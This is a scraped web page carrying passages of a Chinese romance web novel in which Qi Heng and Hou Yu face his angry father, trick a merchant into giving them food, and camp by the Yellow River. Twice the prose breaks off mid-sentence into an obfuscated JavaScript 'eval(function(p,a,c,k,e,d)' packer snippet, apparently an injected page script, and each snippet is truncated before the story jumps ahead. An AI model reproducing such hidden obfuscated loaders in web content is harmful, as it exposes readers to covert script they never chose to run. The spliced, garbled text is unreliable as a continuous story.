解修竹都快炸了:“扯什么乱七八糟,解烺被打了!” 戚姮很是莫名其妙:“又不是我打的,找我做什么。” “没说是你,他说是他弟弟打的,我肯定要来找你!” 解修竹怒气冲冲地:“打也打了骂也骂了,从前纵然不对,但灵韵现在改了。有什么过不去的?他连床都还没下就又被揍成了重伤,你什么意思?他什么意思?” “我告诉你,这事必须给我一个说法!” 他吼的声音很大,索性这条街来往的行人不多,也没人注意。 “呃。”戚姮听完,皱了皱表情,压根不信,“我知道你偏心,但也不能随便冤枉人。灵灵都没去你家,怎么打?” “怕是解烺得罪了人不敢说,被谁套麻袋揍了一顿,面上无光,就一股脑全推到他弟弟头上的吧。” 解修竹脸上尽是难以置信:“昨晚上给灵韵叫了郎中来医治,直到现在才好不容易清醒。一个大活人被打昏迷了一晚上,你怎么能说这种风凉话?!” “……?” 戚姮低头看看自己:“我说啥了。” 解修竹指着侯府大门:“我告诉你,今天必须把人喊出来,跟我去道歉,不然我就报官抓你!” “你抓我啊。”戚姮嘚瑟道,“你再跟我大呼小叫的,我就把解烺抓去官家面前打一顿。你看官家帮谁?猜猜他会不会治我的罪?” 解修竹惊呆了,“你你你”结巴半天没说出半个字来。 他并不怀疑这句话的真假,戚姮是真能干出这种事来,赵繁英也是真敢睁眼装瞎子。 戚姮一脸“你奈我何”的嘚瑟。 平白无故吃了个哑巴亏,解修竹憋住快要炸开的脾气,反复深呼吸后尽量平和下来语气,话却针对意味十足:“我好好一个乖巧的儿子,自从跟你鬼混以后,把你这身坏脾气全学去了。又打人又骂人,还总冲我翻白眼!” “我是他亲爹,他这算什么态度?” 戚姮陷入沉默:“……你儿子在你心中不会是朵小白花吧。” “什么小不小白花,打人就是不对,现在还学会偷偷溜进别人家了,以后真杀人了怎么办?” “我今天必须要教他忠孝悌廉,刻不容缓。” 他说的义正词严,振振有词,戚姮就只是古怪地扫他一眼,一针见血指出问题:“你要早把解烺教好了就没有今天这事了。” “我……” “就你这点育人水平,还是省省吧。” 她示意艾憬翻进去喊人,才扭头继续道:“况且,你不了解别人还不了解你两个儿子的秉性吗?你自己说解灵灵的性格会打人吗?” “他顶多、撑死就诅咒几句。难不成是老天显灵了……” 解修竹终于有了些迟疑。 确实,向来只有后煜被打的份。 从解烺口中听到真凶,他的第一反应也是不相信,可跟解烺有仇的人……的确就只有他了。 不登时,大门悄悄打开一条缝,后煜探出脑袋,看到戚姮才慢慢探出整个身子,躲到她后面,露出一双眼睛,怯生生道:“怎……怎么了。” 解修竹刚压下去的火气在看见他这个样子瞬间又起来了:“你给我过来!” “他来干什么的?”后煜佯装无辜,低着头问戚姮,“不是说好他不来掺和的吗。” 戚姮说:“发犬瘟了,逮谁咬谁。” 解修竹:“?” 戚姮向旁边挪了一步,拉着后煜出来,一手搭上了他的肩,简洁道:“你爹非说你哥哥出事了,是你打的。你跟他说,是你干的吗?” 她捂上嘴,小声道:“是你干的也不道歉,气死他气死他。” “戚姮……!我都听见了!” 后煜“啊”了一声,连连摆手:“不是我,我连国公府都没去,我什么都不知道。” “你手怎么了。” 戚姮眼尖,看见了他指腹未干的血迹,抓着后煜的手来到眼前,细小的几个针孔像是刚扎的,正往外渗了两滴血。 后煜表情勉强,弱弱道:“本来,我是想再给你做几身衣裳,但听见门口国公府来闹事,我害怕……就不小心扎到了。” 解修竹张着嘴,连火都顾不上撒了。 戚姮皱起眉:“家里有家丁,你让人把他赶出去就好了啊。” 解修竹:“嗯??” 他缩手回去,藏在身后,一副害怕又不敢反抗的模样:“没关系……我怕真伤了他,给你再添麻烦。” 紧接着后煜低下头,齿尖咬着嘴唇:“可能我就是没用,连辩解的勇气都没有。你们觉得是我打的就是吧,我无话可说。” “但是我也好疼啊……” 后煜将左手手掌摊开,结痂在昨晚有些撕裂,渗出的血迹凝结在掌心,触目惊心:“现在用点力气手就好疼,我拿不了东西了。我连针都快拿不起来了,怎么办……我会不会变成废人……?” 解修竹转动眼珠凑过去看,看清以后隐隐有种不祥的预感。 戚姮抬头,正好迎上后煜盯着掌心出神的表情,委屈害怕糅杂在一起,注意到她的视线,望过去,眸底还有打转的泪花。 “……不会,没事的。” 戚姮拍了拍他的手臂,转身挡在了后煜身前,斜眼睨着解修竹,冷声问:“你现在满意了?” “你的意思是,一个手上有伤的人能神不知鬼不觉地潜入你家,把你儿子打成重伤?” “他现在连花都绣不了了!” 戚姮伸手戳在解修竹肩窝,步步紧逼:“他要是这么厉害,还至于被解烺砍这么一刀吗?” “你连具体情况都没有摸清楚,凭什么一口咬定是他干的?但这刀可是解烺实打实捅出来的吧?” “我要不要也砍你一刀,看看你能不能拖着病手把一个大男人打成重伤?” 解修竹一步一步向后退,差点踏空台阶摔下去,结巴半天:“我……我也不……” 戚姮满脸不耐烦:“我数到三,你再不走我就揍你。” “三!”她上去就是一拳。 解修竹差点把腰给折断才躲过去第二拳,捂着脸大惊着往后退:“你还真打啊!” 戚姮一步跨上前,追着要继续揍:“我打的就是你!” “野蛮!”解修竹一溜烟就跑了,边跑边转头骂:“无礼!卑鄙!下流!跟你那娘老子一模一样!” 戚姮:“你有本事回来当我面说!” 解修竹刹那间没影了,钻进国公府,让人赶紧关门,“砰”的一声。 后煜躲在戚姮身后,伸个脑袋望着亲爹落荒而逃,那叫一个幸灾乐祸,又在她转头看过来时瞬间换上楚楚可怜的委屈样。 “下次不要听他废话,直接赶回去。” “好。” 戚姮拥上他的肩,揽着心里喜滋滋的后煜转身回家:“走了,别在这傻杵着了。” 明天就要离开汴京了,后煜因为这两天阴天下雨,结痂痒得睡不着觉,翻来覆去,越想越觉得必须把解烺揍一顿才行。 说干就干,一气呵成做完一切,他也根本不怕被人发现。 …… 戚姮在房中与艾憬嘱咐着最后的一些工作,桌上文件越堆越多,两个人在说什么后煜也听不懂,只能在一旁抱着赵又晃悠。 等后煜晃累了,拉过婴儿小床轻放了进去,坐在塌边拿着小玩具继续逗他。 戚姮交代完后一伸懒腰,捂着后颈挪到小床旁边,一把从后煜手中拿过虎头玩偶,俯身靠在床边:“叫姐姐叫姐姐。” “……”后煜说,“他才刚出生十几天,不会说话。” 戚姮一直都是想起来了就逗逗,想不起来扔给后煜,不敢离开视线太久,又不想自己带。 脑中育儿知识高达零个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“官家问我原因,我如实答了。他什么也没说,默许我可以继续挡脸。” “李拭镜管不着了,别人知道以后,也不再管我。就……慢慢留了下来。” 戚姮挑了挑眉:“你不觉得官家对你的包容心很强吗。” “有吗?官家不是一直都这样。只要没犯大错,他谁也不罚。” “就你一个搞特立独行的,这还不算大错?” 戚姮束完发,绕到他的面前,手托着他的下巴打量:“必须得让人看。天天盖着眼睛像怎么回事,大大方方的,我就喜欢你这张脸。” “啊?”后煜受宠若惊地,“那好……” 戚姮再离远了些仔细端详,又挡上了嘴,悄声道:“这样再看,更像了。” 艾憬:“好像。” 戚姮:“一模一样。” 艾憬:“亲生的。” 她摸着下巴沉思:“有问题。” 艾憬点头:“嗯。” 后煜被两个人盯得都不自在了:“不好看吗?我还是挡上吧……” “好看好看,我俩聊别的呢。” 戚姮转移了话题,给艾憬留下一句“等我回来再细查”,让她先行离开。 她思忖着,踱步回去。 后煜还在纠结是不是新发型不好看,非要找镜子照照,真坐在铜镜面前,他瞧了半天,嘀咕:“好奇怪啊……” “你没看习惯的而已,我觉得很好看啊,要是有朵花,就更好看了。” 戚姮靠着梳妆台,道:“本来是路过片花丛,给你折了枝花,遇到个挺有缘的小姑娘,就送她了。” “我就送你个手绢吧。” 戚姮掏了半天,才拿出个皱巴的淡紫色手绢。 “送别人了啊……”后煜伸手要接,还是忍不住嘟囔,“好吧。” “不要嫌弃。”戚姮将手绢展开,在他面前晃了两圈,最后覆在自己掌心,“你看。” 另只手将其一掀,她口中的芍药变戏法似的出现在了眼前。 “!!” 她在后煜震惊又欣喜的注视下将芍药挽进发中,他又对着镜子欣赏半天,简简单单一枝花,能让他越看越高兴。 戚姮说:“回来我又折了一枝。” 45. 并蒂双株【三】 从汴京到长安,再从长安一路跨过几个州抵达灵州,渡过横在眼前的黄河,对面就是波斯国界。 灵州是个贸易关口,走的这条路被称为“灵州道”,商人货物往来都走这条路,更近,且相对安全。 实在不放心,还可以向朝廷交些保费,只需要一批货物总成本的十分之一,一路就会有官兵随行在侧。 即便真的被抢被盗了朝廷负责追到底,追不来便自掏腰包,从国库掏钱赔偿。 近些年来,朝廷抱着彻底镇压山贼流寇的态度进行了一次次大规模军事行动,打压力度直线飙升,无时无刻不在剿匪清患。商人交钱,朝廷出兵,路上真遇上流寇反而正中下怀。 加之中原边境在与波斯建交后,两地商人往来频繁,经济发展蒸蒸日上,半路抢劫这种事都快成为历史了。 有些人不交,觉得碰不上,就有些人运送的货物贵重,生怕血本无归,愿意掏钱,也相当于买份保险。 政府也靠此招赚了不少。 · 西北边境临黄昏前总有些荒凉。 荒无人烟,长河落日。 后煜从西边鬼鬼祟祟地挪过来,盯着方圆百里唯一出现的商队转了好几圈。 领头的商人看了他很久,以为他是在准备趁人不注意偷点东西跑路。刚要抄东西驱赶,后煜走了几步上前,指着车后随行牵的几只山羊,试图跟他搭话。 “大哥,这个卖不卖啊?” 他表情诚恳,还扯了个笑,看样子是想拉近关系,就是笑得有点假。 “你要一整个?”那商人上下打量他一番,相比着这支商队里的人,他沧桑的跟刚被抢劫了似的。 脸上全是土,头发更是乱七八糟,除了衣裳干净点,压根看不出个人样。 “你买得起吗?” “……” 后煜这么三个月过去练的脸皮也厚多了,闻言不仅没难堪,还能继续说:“不要羊,我就要点羊奶。” “五十文一碗。” 后煜震惊:“你抢钱啊?” 商人瞬间不乐意了,指着周围转一圈,理直气壮道:“我好不容易才牵着这么些羊羔来到这鸟不拉屎的地。我的辛苦费,路费,喂养牲畜的草钱,食宿费,还有家中妻儿老小的生活费,哪个不要钱?” “你不要养家吗?不要站着说话不腰疼。” 后煜忍不住呛他:“你怎么不把将来的棺材钱也算进去。” “爱买不买!”商人一挥手,“这破地连能吃的草都没长几根,我还怕给了你,母羊下不出奶再饿死小羊。” “买,买。” 后煜认命地从怀里翻出荷包,这里实在偏僻,走了快一天也没见半点人影,更别说牛羊踪迹。 孩子都饿得哭不出来了,他们两个大人也还没吃上饭。 后煜幼时经常经历这些,倒也能忍受。主要是戚姮,吃的不算很多,但一顿不吃就饿。 她现在饿得都不想说话了。 后煜就准备出来找点野菜,再不济摘点什么果子,运气好,碰上迎面而来的商队,厚着脸皮就过来碰碰运气。 他捏着荷包,围着商人拉的货物又转了一圈,问:“大哥,你这个烧饼卖不卖?” “一百文一个。” 后煜嘴角抽搐地看着他,那商人丝毫不觉得自己过分,抱着胳膊一副“爱要不要”的样子。 “牛肉卖不卖?” “五百文一斤。” “这个水壶呢?” “你怎么净要些我赶路吃的东西?”商人急了,“你到底要不要?别在这磨磨唧唧的,耽误我时间。” 后煜一数荷包里的铜板,顶多够买一碗羊奶,孩子是饱了,他俩总也不能饿死。 他想了个招,收手背在身后,神秘莫测道:“大哥,我看你有缘,有缘之人不谈金钱。正好,我是算相的。我给你看上一卦,保证准。如果你听着满意,就请我吃顿饭,怎么样?” “算相的?” 商人果然没在着急赶他离开了,后煜一听有戏,刚想继续骗,就听他狐疑道:“那你说,我家中几个孩子。” “呃。” “我夫人今年多大了。” “这个……” “我是哪里人?” 后煜绞尽脑汁,试探道:“汴京?” 商人忍无可忍,追着要打他:“你个死蹭饭的!老子是庐州人!” 后煜撒腿就跑,念叨着“误会”两字,绕着商车疯狂转圈圈。 其他人该歇息的歇息,该看戏的看戏,没有要插手的意思。 曾经统管全国财政的前太府寺卿,此刻就为了一碗羊奶,在这里招摇撞骗。 时也命也。 他跑着跑着迎面撞上一人,两个头相撞发出“咚”的一声。 后煜捂住脑袋向后踉跄两步,还不等他稳住身形,对面就响起了一声柔弱惊呼。 他动作一滞,低头一看。 戚姮被撞倒在地,怀里还抱着孩子。 “你撞了我怎么不道歉。” 戚姮仰起脸,朝他使了个眼色,后煜接收到信号,磕巴了一下,立马道:“我……我就不道歉。是你自己往我头上撞,你该给我道歉!” 他挠了挠头,底气不是很足,演技差到戚姮很想扶额。 她还是抽泣了两声,控诉着他:“你怎么这样啊……” “我去你的了!” 后煜被猛地一推,毫无防备之下向旁边一头栽倒,他更柔弱地跌坐在地,看着方才还凶神恶煞的商人忙不迭跑去扶起了戚姮,满眼不可置信。 “你没看见她怀里还抱着孩子吗!” 那商人给戚姮拍了拍土,劈头盖脸对着后煜就是一顿骂:“我说你这小子,不学好想白嫖就算了。面对一个母亲,一个婴儿,你居然还这么恶劣!” 戚姮从他背后探出头,脸上写着“辛苦你了”,嘴上附和道:“我们孤儿寡母的,受些人欺负也是常事,习惯了。” 后煜:“……” 他终于意识到了自己拿的是什么戏份。 后煜缓缓从地上爬起,回忆着解烺的神态,模仿他二五八万的样子,咳嗽两声后:“谁知道她是不是来买吃食的?这地这么偏,就你一个车上有饭吃,还就这么点,万一都被她抢走了我吃啥?” 戚姮心想真是上道,嘴一撇,面上恢复悲情,梨花带雨起来:“大哥,我已经三天没吃上饭了,奶水也没有了。是我的孩子,他饿晕了,我害怕他会死掉……” “看到这里有人,我就想来问问有没有吃的,能不能救救我的孩子……” “对不起,我不是故意要抢你们的东西吃。” “你有钱吗你?”后煜不屑一声,“烧饼一百文一个!没钱就给我老老实实离开。” “啊……这么贵?”戚姮为难地看着商人,难堪道,“我,我有一些钱,但没有这么多。” 后煜驱赶道:“去去去,那你别打扰我买东西了,赶紧走。” “打扰了。”戚姮欠了个身,“我还是去挖些草根吃吧,就是可怜了孩子……” “诶?不行,回来!” 商人大哥“嗷”一嗓子喊住了戚姮:“我看你这孩子也不大,像是刚出了月子,草根吃了哪能行?大哥请你吃!” “真的吗?”戚姮小心翼翼,又带了些惊喜地:“谢谢你大哥,我可以给钱的!能给孩子吃点就行。” 他大手一挥:“不要钱!” “那怎么行。” “没事,就是些吃的,能值几个钱?大哥这还有一堆。” 后煜适时插嘴:“我怎么要给钱!” 商人大哥:“晚了,现在给钱也不卖你!人品堪忧,素质低下!再胡搅蛮缠我喊人抽你。” “你你你……” 趁着他装东西的空隙后煜偷偷挨了过去,戚姮掏出最后一块碎银塞进荷包,跟着那五十来个铜板全都留在了车上。 “不卖就不卖!”后煜跺了下脚,扭头走了,“哼。” 那商人还专门为戚姮挤出了一碗羊奶,装进水袋要她带着,十来个烧饼与卤好的牛羊肉,还有一只烧鸡几个鸡蛋,装进大包袱里。 戚姮没想到会给这么多,连忙躬身谢道:“谢谢你大哥。” “害,我家中小孩约莫跟你这个差不多大,看着亲切。快赶路去吧,马上天黑了,指不定坏人还有多少。” 戚姮又道了几声谢,绕着路远离这里,中途碰见藏起来的后煜,把孩子交给了他。 两个人一对视就想起刚才的画面,一想起来就忍不住笑,又捂嘴又捂脸在原地笑了半天,肩膀撞在一块抖。 “我再也不跟你一块演戏了,太假了,我受不了了!” “是吗?我觉得我演得还挺好的。” 戚姮搓了半天打火石,想赶紧将羊奶温一温:“你在我面前演戏的时候就这个样。” 后煜了然于心:“那怪不得一下子就被看出来了……” 他低头在包中翻着,擦了擦手,捏起牛肉,递到戚姮嘴边一片,随即自己也尝了一片:“虽然这大哥坐地起价,但人还挺善良……好吃。” 戚姮无奈地摇摇头:“我就怕这破地突然出现什么人,饿急眼了把你杀了当口粮。所以,跟了你一路,眼见你现在都能跟别人正常说话了,转头又差点被揍。” “你咋命这么苦?谁都想揍你?” “……他卖的羊奶比一斤羊肉还贵,不骗他不行,骗还骗不过去,恼羞成怒要打我。” “傻。”戚姮把羊奶给他,兀自拿起烧饼啃,“他说话标准的庐州口音,三两句都离不开家,媳妇,孩子。看他年龄,也不甚很大。” “商人需要常年在外讨生活,根本没几个时间回家。一看就是刚有的孩子,但又要出门继续做生意,才一直惦记着。” “刚刚你要是抱着孩子去就好了,一卖惨,他也就给你便宜卖了。” 后煜恍然地点点头:“应该让你去给他算相。” “……赶紧把这茬忘了,坑蒙拐骗容易被揍。” 后煜低着头,专注给孩子喂羊奶,忽地听见戚姮长叹一声。 他瞥过视线,只见戚姮仰头望天,口中喃喃:“要不是你毛病多,过夜的衣裳不穿,脏了的衣裳不穿,一天扔一件,还不愿意跟我扎帐篷睡地上,非要找客栈住。” “又跟饿死鬼转世一样,一顿赶我吃三顿,哪至于带的银子这么快就花完了。” 后煜眨了眨眼:“夏天一身的汗,哪能继续穿旧衣,臭都臭死了。” 他又嘟囔:“而且我说了随便买一件就行,是你觉得太丑,非要加钱买好的。” 戚姮说:“你去洗洗,晾干了第二天带走,我就是这样的呀,这不是更好?你都愿意买那堆破烂套身上,就是不愿意动动你的手。” “有的地方没有河,有河的地方又太远,大晚上的我害怕。”后煜反驳,“我不去洗,我就一件衣裳,想出门都没得遮。” 戚姮“呵呵”冷笑:“那是,我给你带了不少,扔着扔着就剩一件了。” “你现在都嫌弃我了,”后煜控诉她,“之前你分明说我想怎么样都随便,侯府有钱。” “现在没钱了。”戚姮一掏空空的荷包,展示给他看,“咱俩真的身无分文了,七成都花在了你身上。你甚至连洗澡都不愿意去河里,要客栈给你烧水。” “……” “我跟你说,大部分夫妻吵架的根源就是没钱,没饭吃。现在我们已经开始体验乞丐的生活了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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之后吵架又哄了几次,可能是被他摸清了性格。再吵,他立马有了脾气,不哄就不理人。 最长都能憋住三天不说话。 要是说更早之前,还在侯府的时候,后煜被骂了也都是反思他自己,不管谁的错一定都是他的错。 戚姮至今没想明白他怎么突然就成了这个样子。 “你说他过不过分?这么大的人了天天闹脾气,比你哭得还莫名其妙。”戚姮低头跟赵又说话,“你想不想换个姐夫?想的话就哭一声。” 赵又刚吃完奶,乐着呢,看着戚姮笑得很呆傻。 戚姮莫名也被逗笑了:“他个大傻子养出来了你个小傻子。” 那小子脾气好,不会主动起矛盾,全都是戚姮要么发病,要么心情烦躁主动挑事闹起来的。 日子要想过得去,总有一方先低头,冷静下来去哄哄也正常。 黄昏之后,天地笼罩着灰蒙蒙的蔚蓝,朦胧不清,直到夜色席卷,最后一丝日光才被挤走。 她将地上这些收拾好,孩子用带子绑在背上,牵着马找了出去。 后煜跑得够远,一路来到了黄河边。 如今过了汛期,河水并不湍急,水流哗哗,叮咚悦耳。 “还生气呢?”戚姮歪身,推了推他的肩膀,“别气了呗。” 后煜撇过脸。 “我跟你开玩笑呢。花都花出去了,哪可能现在嫌弃你。”戚姮从后攀上他的脖颈,“你不要看我说这些,你要看我没给别人花钱,全给你了。” “是吧?还是你最重要。” “……”后煜慢慢看向她,“真的吗。” 戚姮信誓旦旦地:“真的真的。” “噢。” 见后煜还梗着脖子一副半推半就的意思,戚姮“呜”地一声开始啜泣:“你怎么还不理我啊,你要抛下我们了吗?我们孤儿寡母的,怎么离的开你。” “好哥哥,好官人,你要是走了,我们两个怎么办啊。”戚姮贴上他的脸,“六郎,你理理我。” 戚姮多少带点故意的成分,说完这些话,斜着眼观察这薄脸皮到底什么反应。 从她第一句“好哥哥”喊出口,后煜就傻愣愣地停止了思考,瞪着眼,像是被定住了。 随即又是一连串的亲密称呼,喊的他身体绷得直直的,从脖颈到天灵盖都在发烫,肉眼可见地从耳朵根开始红,整个人跟被蒸笼蒸了似的。 他的动作极其不自然,连手脚都跟上锈了似的。 “不走,我不走……” 戚姮憋了半天才憋住笑,抱着他晃了晃:“啊!六郎,你最好了。” 戚姮从前觉得这辈子最累的事情莫过于行军打仗,监管几十万兵马。 自从把赵又抱回身边,短短三个月她就见识到了什么叫此间最累。 每天半夜睡醒都能看到后煜抱着孩子在地下绕着圈哄,自从有了他也没见过后煜完整地睡一次觉,吃饭前还要先保证他吃饱了不闹了,才能勉强对付两口。 夏天闷热,小孩难受就爱哭,哭了就得哄,一路走走停停,到现在才刚要踏进波斯地界。 戚姮耐心都快被磨没了,天天思考把亲表弟扔了会不会遭报应,结果后煜还能跟没事人似的。 洁癖这么狠的一个人几乎天天被尿在身上,他也能坚持穿下去,晚上才换,这都在戚姮意料之外。 所以他一提要换衣裳,戚姮就掏钱买了。 她花钱向来买个眼缘,跟破烂似的粗布条子实在膈应,还得买好看的。 买着买着钱就没了。 反正戚姮是受不了一个人带孩子赶路,不止一次庆幸:还好带着他了。 即便他现在想走,戚姮也要五花大绑绑回来。 46. 并蒂双株【四】 戚姮在黄河边扎了帐篷,如今不是乞丐胜似乞丐,能有个避风的地儿睡就不错了,上哪还挑去。 “我给你铺满垫子,把土地隔开,行不?” 戚姮掏出一路带着,却没怎么用过的垫布,正铺呢,后煜伸个脑袋问:“能铺两层吗?” “……”戚姮点头,“行。行。铺两层。” 怎么会有洁癖这种病? 包里带着的小孩尿戒子都是后煜换下的旧衣撕成了小块,他自己缝的,戚姮顺便数了一下,足以支撑到地方。 他把孩子哄睡着后就坐在原地发呆,等戚姮收拾好这些,准备去河边换洗衣裳时才推了他一下:“想什么呢?反正离得近,把孩子放这,我带你去洗。这你总不害怕了吧?” 后煜仰头,傻愣愣地:“我没有换下来的衣裳了。” 戚姮不以为意:“等会我给你洗一洗,明天还穿这件。再坚持一天,估计明天就找到人了。” “我……我的意思是。等会我要什么都不穿的回来吗?” 戚姮点头:“这有什么。荒郊野岭的,就咱俩,你还怕鬼看啊?” “……” 他又犯起了矫情,只看着戚姮不说话,意思很明显。 不愿意。 “行行行,你用这个挡着可以吧?”戚姮又掏出块布,“最后一块了,赶紧的。” 九月底,入了秋以后晚上已经不甚很热了,扎帐篷能睡得住,河水也不算多凉。 “黄河水都是泥,能洗干净吗……” 后煜从伸脚踏进水中那一刻就在嘟囔,从水脏,抱怨到不能换新衣裳,又说这么多泥不能洗头。他坐在水里,要多不情愿就有多不情愿。 但凡换个人这么多事,戚姮一脚就上去了,也不知道是不是被这小子磨得没了脾气,她居然长了不少耐心:“哎呀。黄河水的泥和别的地方不一样,不粘身,也不脏。” 戚姮直接抓了满满一手泥,“啪叽”拍在了他身上。 后煜大惊。 下一瞬,这一大堆泥巴就跟沙子一样滑溜溜全掉了下去,肩膀依旧很干净。 戚姮一副“你看我说得对吧”的表情:“这破地有水就不错了,还轮得到你挑?” 后煜紧绷着表情,嫌弃意味不言而喻。刚想说话,迎面被戚姮泼了一脸水,什么都没说出来。 他抹了一把脸,又想开口,第二捧水又来了。 “……” “哈哈哈哈!!”戚姮发现逗这人特有意思,“再废话我还泼你。” 后煜重重拍了水面一掌:“你怎么能这样!” 好好的洗澡因此变成了往对方脸上泼水扔泥巴,太阳缓缓西沉,他俩就一直玩到天地万籁俱寂,直到只能看清对方的朦胧轮廓。 不远处的帐篷突兀地响起赵又的哭喊,他俩动作一滞,才想起来还有个孩子。 后煜赶紧擦干身子回去哄他,戚姮留在河边洗好衣裳,往树枝子上一挂。 等晚上自然风干,明早就能穿了。 戚姮顺手将吃的都拿了进来,马匹缰绳拴在帐篷旁边,以免晚上路过什么人给偷了去。这样还有点动静,能及时发现。 “吃点吧,一晚上光忙活了。” 后煜到现在了都还没顾上他自己,闻言轻轻放下刚睡着的小家伙,挪到那些纸袋跟前,低头寻着那卤牛肉。 在戚姮心里带他出来的好处,一是很会带孩子,省去很多麻烦。二是不挑吃的,只有点洁癖,综合来说也挺好养活。 这一路捞鱼摸虾,逮知了抓蚂蚱,猎些野味掏点鸟蛋,什么都有。 戚姮回回把一堆稀奇古怪的玩意带回来,他就回回一丁点也不浪费。 看着后煜吃了五六个烧饼,将牛肉和烧鸡一扫而空,还有继续吃的意思,戚姮突然想起花照水。 这小姑娘天天吃不饱,当上了军官还愿意去做些苦力,就为多换一碗饭。 当时她还想着军粮如此充足,怎么可能会有人饿肚子。 现在算是知道了。 单纯能吃。 后煜这人脸皮薄,无论多热,他都捂得严实。礼都成这么久了,他依旧不愿意在没人的时候稍微脱点衣服,哪怕光个膀子。 现在是实在没东西穿了,只能找块布围着,戚姮难得见有机会打量一下他的躯体。 原先他很瘦,又因为经常种地,挑水做家务,也不是干瘦。身高骨架摆在那,肩宽能跟戚砚一个水平,又完全是个男人身材。 但他腰很细。 即便平常他穿着衣裳,戚姮没事了都喜欢摸上一把。 可现在…… 戚姮盯了半天,突然问:“你是不是长胖了。” “啊?”后煜低头看看自己,否认道,“没有。” “不对,你从前身材比这好。” 后煜傻乐了声:“我那是故意吸气凹的造型,你看不见的时候都是这样。” 戚姮:“……” 她不可置信地问:“那你现在怎么不装了?” “现在?”后煜认真思考道,“从前我们感情不牢固,我各方面跟你比都差远了。你不缺什么,我也给不了你什么,虚无缥缈的,我怕你赶我走。” “那我肯定得拿出点以色侍人的态度,装一装。” “现在你会哄我回来,觉得我很重要,就算我胖点,你也不会因此厌弃我。所以我就不装了。” 这逻辑倒也符合他内心里那堆敏感的弯弯绕。 戚姮沉默片刻,问:“你哪来的这种……总觉得我会讨厌你的想法呢。” 后煜咽下口中烧饼,呼了口气,像是做好准备才说:“我长得不是很好看,身上也有很多疤。公主对我嘱咐过,你纯好颜色,别的都是其次。来之前我就想着,我得打扮一下。” “第一次去樊楼那天,我穿得全是新衣服。但是你一直在看外面,不愿意正眼瞧我。可能是那天我太丑了……后来再见你,我就学会了装。” 他挠了挠头:“我自从会装了以后,你跟我说话的次数变得越来越多,还经常来院子里找我,你肯定喜欢那样的。” “……”戚姮神情呆滞,张了半天嘴,问,“是谁说你长得丑?” “从前住我家的那小厮,他总说一个男孩怎么就长了这张脸。左邻右舍见了我,也说,长成这样生在这里麻烦大了。” 后煜越说头越低,头发打湿后被他全部捋了上去,眼前没了刘海遮挡,他也越来越不自信:“我小时候丑到,总有人用很奇怪的眼神看我。隔壁邻居甚至翻进了我家,想捂死我。” 戚姮捂着脑袋,揉了半天,才蹦出一句:“有没有一种可能……不是想捂死你。” “没有。他杀了很多小孩,我在我家后面翻地的时候都挖出了人骨。” “我滴个天呢……” 戚姮觉得很神奇:“这么个人才辈出的地方,怪不得养出了你这么个人才。” 后煜听到这还挺高兴,脑袋一动,表情缓和许多:“这倒是有人说过。说我算账很有天赋,是人中龙凤。” “……能当我是在夸你也真是到家了。” 戚姮全听完也只是抓了抓头发,绝望地发现,自己哪怕只是随便呼吸,都能被他解读出第二层意思。 后煜这些乍一听很有逻辑的话,细细分辨来全是他的主观臆断。 还猜错了。 错得很离谱。 她支着下巴,心里的气越叹越多:“我在樊楼不看你,是因为我不认识你。比起你,还是对面说书的更吸引我,那可全是我的故事。哪是什么你太丑了。” “刚开始咱俩进展很快,第四次见面当晚就写了婚书,必须要让我有个适应的时间才行。慢慢跟你熟了以后,同住一个屋檐下,是不是就见得多了?跟你装不装也没半毛钱关系。” 后煜若有所思。 “况且,感情是循序渐进培养的,不是你装两下我就特别喜欢,不装接着翻脸无情踹你出家门。大可以不用担心乱七八糟的那些。” 他挪动了两下,像是积压在心底许久的郁结突然被松开,连语气都不自觉轻快几分:“真的吗?” “当然了。”戚姮点头,“不过,这也不能怪你敏感乱猜,就你那生活环境不允许你心大。” 后煜挂上一抹浅笑,很有被安慰到。 “那……我真的有那么丑吗?”他忍不住追问:“我娘分明很好看,为什么会生出我这样的孩子。” “要记住,外面没几个好人,他们全都是骗你的,一句话也不要信。”戚姮大手一挥,“你信我的就行了。” “我封你为东京第三美男子。第一我爹第二我舅舅,现在可以不?” 后煜连连点头如捣蒜:“好。” 灭了蜡烛躺在地上,夜晚刮起的风声被隔绝在外,只听了个响。 孩子被他扔在头顶上躺着,他们两个躺在一起,地下空空如也,只有层小薄毯子。 后煜伸手让她枕着胳膊,近到连体温都能感知,就一直那么侧着身子,抱着戚姮,几乎全圈进了怀里。 黑暗中他还睁着眼,脑中始终被一个问题所纠缠。 后煜想了许久,想到戚姮呼吸逐渐平稳,都快睡着了,倏地听到他开口问:“你喜欢我吗。” 戚姮有气无力地:“婚书都搁成古董了,现在问这些话。” “来之前,你放我离开。我总觉得喜欢一个人,是无论如何都不会放手的。所以那时候你还不喜欢我。” 他揽着戚姮的肩膀,轻轻摩挲着:“现在你会哄我不要走,你是不是已经喜欢上了我呢。” “……我不知道你所说的喜欢是什么概念。但如果单纯是走不走这个问题,那确实是。”戚姮闷声想了片刻,“习惯你在我身后跟着了。” 后煜弯起眼笑了笑:“那你最喜欢我吗?” “不啊。”戚姮细数起来,“还有文则和……” “除去他们,亲人不算。” “还有艾憬。”戚姮不假思索道,“她是官家在我十岁那年送来的,是我朋友,帮了我很多忙。” “朋友也不算。”后煜范围继续缩小,“就是,追求者。” “嗯……这个。这倒是。” 戚姮卡壳半天,还是点了点头:“我本身对感情没需求,也没有两小无猜情窦初开,只需要一个性格温和的丈夫,替我守好家宅。被你搅和了亲事,身边哪还有别人出现。” 她说着还有些惋惜:“我挺满意苏涧的,性格是真好,从没有人见过他生气。好合适……” 搂在肩膀的手瞬间变紧,下一刻,后煜微微抬起头,眼神直勾勾盯过来,活像一条缠绕的毒蛇:“我和苏涧你喜欢谁。” “……” 问的问题也很毒。 戚姮猛地清醒了,斜眼偷瞄着后煜的表情,后悔刚刚不小心说那么多。 “你。” 戚姮抱上他的脑袋,是真怕说晚了他立马生气跑走,大半夜还要追出去哄,连觉也别想睡了:“我只跟他说过几句话,哪能比得上你。” 